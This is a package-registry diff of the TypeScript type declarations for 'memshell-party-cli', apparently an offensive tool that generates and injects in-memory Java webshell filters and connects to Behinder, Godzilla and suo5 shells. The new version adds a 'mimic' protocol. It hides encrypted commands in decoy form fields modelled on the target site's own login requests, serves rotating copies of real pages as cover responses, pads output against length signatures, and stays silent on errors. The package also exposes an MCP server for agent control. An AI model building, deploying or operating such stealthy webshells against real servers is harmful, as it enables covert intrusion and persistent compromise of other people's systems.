memshell-party-cli 0.3.4 → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.d.ts CHANGED
@@ -317,7 +317,12 @@ declare function createMcpServer(client: MemPartyClient): McpServer;
317
317
  declare function startMcpStdio(client: MemPartyClient): Promise<void>;
318
318
 
319
319
  /** Shared types for the shell connection testers. */
320
- type ConnectTool = "behinder" | "godzilla" | "suo5";
320
+ /**
321
+ * Shell protocol name. Used to be a hardcoded union of the built-in tools;
322
+ * now a free string — `src/connect/registry.ts` is the source of truth for
323
+ * which protocols actually exist (built-ins + plugins like "mimic").
324
+ */
325
+ type ConnectTool = string;
321
326
  interface ConnectTestResult {
322
327
  ok: boolean;
323
328
  tool: ConnectTool;
@@ -364,6 +369,8 @@ interface StoredShell {
364
369
  headerValue?: string;
365
370
  extraHeaders?: Record<string, string>;
366
371
  insecure?: boolean;
372
+ /** mimic protocol: site profile name (see 'memparty profile'). */
373
+ profile?: string;
367
374
  /** Free-form note for this shell (e.g. "DMZ 跳板机"). */
368
375
  remark?: string;
369
376
  createdAt: string;
@@ -406,6 +413,7 @@ interface ConnectionFlags {
406
413
  headerValue?: string;
407
414
  extraHeaders?: Record<string, string>;
408
415
  insecure?: boolean;
416
+ profile?: string;
409
417
  }
410
418
  interface ResolvedConnection {
411
419
  url: string;
@@ -416,6 +424,8 @@ interface ResolvedConnection {
416
424
  headerValue?: string;
417
425
  extraHeaders: Record<string, string>;
418
426
  insecure?: boolean;
427
+ /** mimic protocol: site profile name. */
428
+ profile?: string;
419
429
  /** Canonical `project/shell` reference, when resolved from the store. */
420
430
  targetName?: string;
421
431
  }
@@ -463,6 +473,202 @@ interface GodzillaExecOptions extends CommonConnectOptions {
463
473
  */
464
474
  declare function execGodzilla(url: string, pass: string, key: string, command: string, options?: GodzillaExecOptions): Promise<ExecResult>;
465
475
 
476
+ interface ProfileTemplate {
477
+ /** <title> of this page (metadata — the template is used verbatim). */
478
+ title: string;
479
+ /** Full HTML of a real page on the site (a response skin). */
480
+ template: string;
481
+ /** Content-Type this page is served with. */
482
+ contentType: string;
483
+ /** Relative rotation weight (default 1). */
484
+ weight?: number;
485
+ }
486
+ /** One form field in the request shape. Values may contain {{hex:N}} placeholders. */
487
+ interface ProfileFormField {
488
+ name: string;
489
+ value: string;
490
+ }
491
+ /**
492
+ * How shell requests should look on the wire. Model it on a real form the
493
+ * target site already receives all the time (e.g. its own login POST):
494
+ * the ciphertext hides in `secretField`, surrounded by decoy fields.
495
+ *
496
+ * A profile may carry ONE of these or an ARRAY of them (`request: [...]`) —
497
+ * the client picks one at random per request, so the request shape varies
498
+ * the same way the response skins do.
499
+ */
500
+ interface ProfileRequest {
501
+ /** Field that carries the ciphertext (e.g. "verCode"). */
502
+ secretField: string;
503
+ /** Where the ciphertext goes: form body (default), URL query, or a header. */
504
+ secretIn?: "body" | "query" | "header";
505
+ /** Decoy fields sent alongside (e.g. csrftoken/j_username/agreement). */
506
+ fields?: ProfileFormField[];
507
+ /** Relative rotation weight (default 1) when `request` is an array. */
508
+ weight?: number;
509
+ }
510
+ /**
511
+ * How the ciphertext is produced and hidden (the mimic codec menu).
512
+ * All fields optional — a profile without `cipher` speaks the original
513
+ * mimic wire format (aes-ecb + base64 + js-var marker).
514
+ *
515
+ * NOTE: the cipher is BAKED INTO the filter at `memparty custom build`
516
+ * time. Editing it in the profile afterwards means the client and the
517
+ * injected filter no longer match — rebuild and re-inject.
518
+ */
519
+ interface ProfileCipher {
520
+ /** Cipher for the payload: AES/ECB (legacy), AES/CBC with random IV, or cyclic XOR. */
521
+ algorithm?: "aes-ecb" | "aes-cbc" | "xor";
522
+ /** Text encoding of the ciphertext bytes. */
523
+ encoding?: "base64" | "base64url" | "hex";
524
+ /**
525
+ * Append key-derived-length (0-15) random alnum garbage after the encoded
526
+ * ciphertext — Behinder's aes_with_magic trick against length signatures.
527
+ */
528
+ padTail?: boolean;
529
+ /** How the response hides the ciphertext inside the cover page. */
530
+ marker?: "js-var" | "html-comment";
531
+ }
532
+ interface SiteProfile {
533
+ name: string;
534
+ /** Origin the profile describes, e.g. "http://192.0.2.1:8080". */
535
+ site: string;
536
+ createdAt: string;
537
+ /** Response skins; the server rotates among them per response. */
538
+ templates?: ProfileTemplate[];
539
+ /** Legacy single-template fields — accepted on load, normalized by profileTemplates(). */
540
+ title?: string;
541
+ template?: string;
542
+ contentType?: string;
543
+ /** The site's path vocabulary, e.g. ["/api/", "/news/"]. */
544
+ paths: string[];
545
+ /** Request shape(s): one object, or an array the client rotates among. */
546
+ request?: ProfileRequest | ProfileRequest[];
547
+ /** Wire codec selection (baked into the filter at build time). */
548
+ cipher?: ProfileCipher;
549
+ }
550
+
551
+ type CipherAlgorithm = NonNullable<ProfileCipher["algorithm"]>;
552
+ type CipherEncoding = NonNullable<ProfileCipher["encoding"]>;
553
+ type ResponseMarker = NonNullable<ProfileCipher["marker"]>;
554
+ /** A fully-resolved cipher selection (every field present). */
555
+ interface MimicCipher {
556
+ algorithm: CipherAlgorithm;
557
+ encoding: CipherEncoding;
558
+ padTail: boolean;
559
+ marker: ResponseMarker;
560
+ }
561
+ /** The original mimic wire format: AES/ECB + base64 + JS-variable marker. */
562
+ declare const LEGACY_CIPHER: MimicCipher;
563
+ /** Fill the profile's partial `cipher` section with the legacy defaults. */
564
+ declare function resolveCipher(partial?: ProfileCipher): MimicCipher;
565
+ interface ResponseMarkers {
566
+ /** Left delimiter of the ciphertext inside the cover page. */
567
+ left: string;
568
+ /** Right delimiter of the ciphertext. */
569
+ right: string;
570
+ /** Wrap the ciphertext into the fragment injected into the cover page. */
571
+ wrap(payload: string): string;
572
+ }
573
+ /**
574
+ * Per-shell response markers. The 5-hex digest of pass+key keeps every
575
+ * shell's delimiters unique; the style selects how the fragment hides in the
576
+ * cover page (a JS assignment vs an HTML comment).
577
+ */
578
+ declare function deriveMarkers(pass: string, secretKey: string, cipher?: MimicCipher): ResponseMarkers;
579
+
580
+ interface CustomBuildInput {
581
+ profile: SiteProfile;
582
+ /** MemShellParty server name, e.g. "Tomcat", "TongWeb" (see 'memparty config tools'). */
583
+ server: string;
584
+ /** Shell type the uploaded class implements (default "Filter"). */
585
+ shellType?: string;
586
+ /** Credentials baked into the filter — the client reuses them at connect time. */
587
+ pass: string;
588
+ secret: string;
589
+ /** Injector URL pattern (default "/*"). */
590
+ urlPattern?: string;
591
+ /** Packer for the injector bytes (default "DefaultBase64"). */
592
+ packer?: string;
593
+ /** Target JRE, e.g. "java8" (default) — forwarded to the backend. */
594
+ jdk?: string | number;
595
+ /** Simple class name (default random MimicFilterXXXX — bump on every re-injection). */
596
+ className?: string;
597
+ /** Output directory for all artifacts. */
598
+ outDir: string;
599
+ }
600
+ interface CustomBuildResult {
601
+ className: string;
602
+ fullClassName: string;
603
+ injectorClassName: string;
604
+ packer: string;
605
+ server: string;
606
+ shellType: string;
607
+ urlPattern: string;
608
+ pass: string;
609
+ secret: string;
610
+ cipher: MimicCipher;
611
+ /** Backend response (payloads included). */
612
+ response: MemShellGenerateResponse;
613
+ files: {
614
+ java: string;
615
+ classFile: string;
616
+ manifest: string;
617
+ payloads: Record<string, string>;
618
+ };
619
+ }
620
+ /** The subset of MemPartyClient this flow needs (easy to fake in tests). */
621
+ type GenerateClient = Pick<MemPartyClient, "generateMemShell">;
622
+ /** Injectable seams for tests. */
623
+ interface BuildDeps {
624
+ compile?: (sources: string[], outDir: string, opts: {
625
+ classpath?: string[];
626
+ }) => void;
627
+ servletJar?: () => string;
628
+ }
629
+ /** Carrier field names the filter should probe, from the profile's request shapes. */
630
+ declare function profileSecretFields(profile: SiteProfile): string[];
631
+ /** Default class name: MimicFilter + 4 random chars (a JVM can't re-define a class). */
632
+ declare function defaultClassName(): string;
633
+ declare function buildCustomMemshell(input: CustomBuildInput, client: GenerateClient, deps?: BuildDeps): Promise<CustomBuildResult>;
634
+
635
+ /**
636
+ * Java source rendering for the mimic filter — the server half of the mimic
637
+ * protocol, generated from a site profile and compiled by `memparty custom
638
+ * build` (see docs/custom-memshell-design.md §B / mimic-memshell-guide.md).
639
+ *
640
+ * The crypto/encoding/padTail snippets below are the Java twins of
641
+ * src/connect/mimic-codecs.ts. They are emitted VERBATIM into both the
642
+ * filter and the CryptoProbe harness (renderCryptoProbe) — the probe is what
643
+ * src/custom/java-probe.test.ts runs to prove the two languages produce
644
+ * byte-compatible wire values. Never edit a snippet in only one place.
645
+ *
646
+ * The filter itself keeps the proven V6 behaviour:
647
+ * - probe with getParameter()/getHeader() only (never touch the body
648
+ * stream, so Behinder-style raw-body shells behind us keep working);
649
+ * - anything that isn't ours falls through chain.doFilter untouched;
650
+ * - any error answers with the plain cover page (stay quiet);
651
+ * - the cover pages rotate per response.
652
+ */
653
+
654
+ interface FilterTemplateOptions {
655
+ /** Simple class name, e.g. "MimicFilterAb3d" (package is always `mimic`). */
656
+ className: string;
657
+ /** Credential pair — must match the client's --pass/--key at connect time. */
658
+ pass: string;
659
+ secret: string;
660
+ /** Carrier field names (form fields / headers) that may hold the ciphertext. */
661
+ fields: string[];
662
+ /** Cover pages from the site profile (raw HTML, rotated per response). */
663
+ templates: string[];
664
+ cipher: MimicCipher;
665
+ }
666
+ declare function renderFilterJava(opts: FilterTemplateOptions): string;
667
+ declare function renderCryptoProbe(cipher: MimicCipher): string;
668
+
669
+ /** True when a working javac is available (used to skip integration tests). */
670
+ declare function hasJavac(): boolean;
671
+
466
672
  type Suo5Mode = "auto" | "v2" | "v1";
467
673
  interface Suo5ConnectOptions extends CommonConnectOptions {
468
674
  mode?: Suo5Mode;
@@ -483,4 +689,4 @@ declare function testSuo5(url: string, options?: Suo5ConnectOptions): Promise<Co
483
689
 
484
690
  declare const CLI_VERSION: string;
485
691
 
486
- export { ApiError, type ApiErrorResponse, type BehinderConnectOptions, CLI_VERSION, type CommandConfigVO, type CommonConnectOptions, type ConnectTestResult, type ConnectTool, type ConnectionFlags, DEFAULT_API_URL, ENV_VAR, type ExecResult, type FetchLike, type GodzillaExecOptions, type InjectorConfig, JDK_VERSIONS, type MainConfig, MemPartyClient, type MemPartyClientOptions, type MemShellGenerateRequest, type MemShellGenerateResponse, type MemShellOptions, type MemShellResult, OUTPUT_LIMIT, type OpCategory, type OpFilter, type OpLogEntry, type OutputOptions, type OutputResult, type PackerOption, type PackerTree, type ProbeConfig, type ProbeContent, type ProbeContentConfig, type ProbeMethod, type ProbeOptions, type ProbeShellGenerateRequest, type ProbeShellGenerateResponse, type ProbeShellResult, type ResolvedConnection, type ServerConfig, type ShellConfig, type ShellInput, type ShellToolConfig, type StoredProject, type StoredShell, type Suo5ConnectOptions, type Suo5Mode, type VersionInfo, autoSaveShell, buildMemShellRequest, buildProbeRequest, createMcpServer, emitPayload, execBehinder, execGodzilla, formatOp, getProject, listProjects, logOp, marshalFrameBase64, marshalSuo5Map, opLogPath, readOps, removeProject, removeShell, resolveApiUrl, resolveConnection, resolveJreVersion, saveProjectMeta, saveShell, saveShellMeta, shouldDecode, startMcpStdio, targetStorePath, testBehinder, testGodzilla, testSuo5, truncateOutput, unmarshalFrameBase64, unmarshalSuo5Map };
692
+ export { ApiError, type ApiErrorResponse, type BehinderConnectOptions, type BuildDeps, CLI_VERSION, type CommandConfigVO, type CommonConnectOptions, type ConnectTestResult, type ConnectTool, type ConnectionFlags, type CustomBuildInput, type CustomBuildResult, DEFAULT_API_URL, ENV_VAR, type ExecResult, type FetchLike, type FilterTemplateOptions, type GenerateClient, type GodzillaExecOptions, type InjectorConfig, JDK_VERSIONS, LEGACY_CIPHER, type MainConfig, MemPartyClient, type MemPartyClientOptions, type MemShellGenerateRequest, type MemShellGenerateResponse, type MemShellOptions, type MemShellResult, type MimicCipher, OUTPUT_LIMIT, type OpCategory, type OpFilter, type OpLogEntry, type OutputOptions, type OutputResult, type PackerOption, type PackerTree, type ProbeConfig, type ProbeContent, type ProbeContentConfig, type ProbeMethod, type ProbeOptions, type ProbeShellGenerateRequest, type ProbeShellGenerateResponse, type ProbeShellResult, type ResolvedConnection, type ServerConfig, type ShellConfig, type ShellInput, type ShellToolConfig, type StoredProject, type StoredShell, type Suo5ConnectOptions, type Suo5Mode, type VersionInfo, autoSaveShell, buildCustomMemshell, buildMemShellRequest, buildProbeRequest, createMcpServer, defaultClassName, deriveMarkers, emitPayload, execBehinder, execGodzilla, formatOp, getProject, hasJavac, listProjects, logOp, marshalFrameBase64, marshalSuo5Map, opLogPath, profileSecretFields, readOps, removeProject, removeShell, renderCryptoProbe, renderFilterJava, resolveApiUrl, resolveCipher, resolveConnection, resolveJreVersion, saveProjectMeta, saveShell, saveShellMeta, shouldDecode, startMcpStdio, targetStorePath, testBehinder, testGodzilla, testSuo5, truncateOutput, unmarshalFrameBase64, unmarshalSuo5Map };